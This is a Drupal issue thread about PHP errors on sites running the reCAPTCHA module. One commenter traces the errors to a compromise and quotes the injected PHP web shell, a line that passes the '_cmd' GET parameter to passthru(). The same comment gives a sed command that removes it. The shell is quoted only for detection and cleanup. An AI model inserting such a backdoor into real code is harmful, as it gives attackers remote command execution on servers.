Closed (cannot reproduce)
Project:
reCAPTCHA
Version:
7.x-2.1
Component:
General
Priority:
Normal
Category:
Support request
Assigned:
Unassigned
Reporter:
Created:
20 Apr 2018 at 20:30 UTC
Updated:
10 Aug 2020 at 13:50 UTC
Jump to comment: Most recent
Comments
Comment #2
g33kg1rl commentedI restored a backup and upgraded the website. The error went away after that.
Comment #3
hass commentedIf you may find out what caused this and how to repro, let me know, please.
Comment #4
tnd_max commentedIt's probably cause because your site was attaked and some files was changed... try to find this code in files
if (isset($_GET["_cmd"])) die(passthru($_GET["_cmd"])); ?><?phpi repaired my site with this snippet in shell:
find ./ -type f -print0 | xargs -0 sed -i 's/<?php if (isset($_GET\["_cmd"\])) die(passthru($_GET\["_cmd"\])); ?>//g'Comment #5
hass commentedNot a problem of this module.
Comment #6
araujo.guntin commentedHi.. I have the same problem... is there any solution?
Comment #7
Saoirse1916 commentedSame problem here - I restored a bunch of files from the original module before just deleting the whole thing and reuploading.
Comment #8
Saoirse1916 commentedComment #9
hass commentedIf your server or sites have been hacked it is not a fault of this module.
Comment #10
rod1011 commentedI have the same problem any legit solution?
Comment #11
headstartcmsThank you for the supportive information! My site was also attack using the drupal 8.5 version. The error said: Fatal error: Namespace declaration statement has to be the very first statement or after any declare call in the script in websitename.com/core/lib/Drupal/Core/SitePathFactory.php on line 3 Some of the files was deleted when i try to backup the first backup was 788MB then during the error the backup files is now 490MB. Some files was deleted causing fatal errors to the website.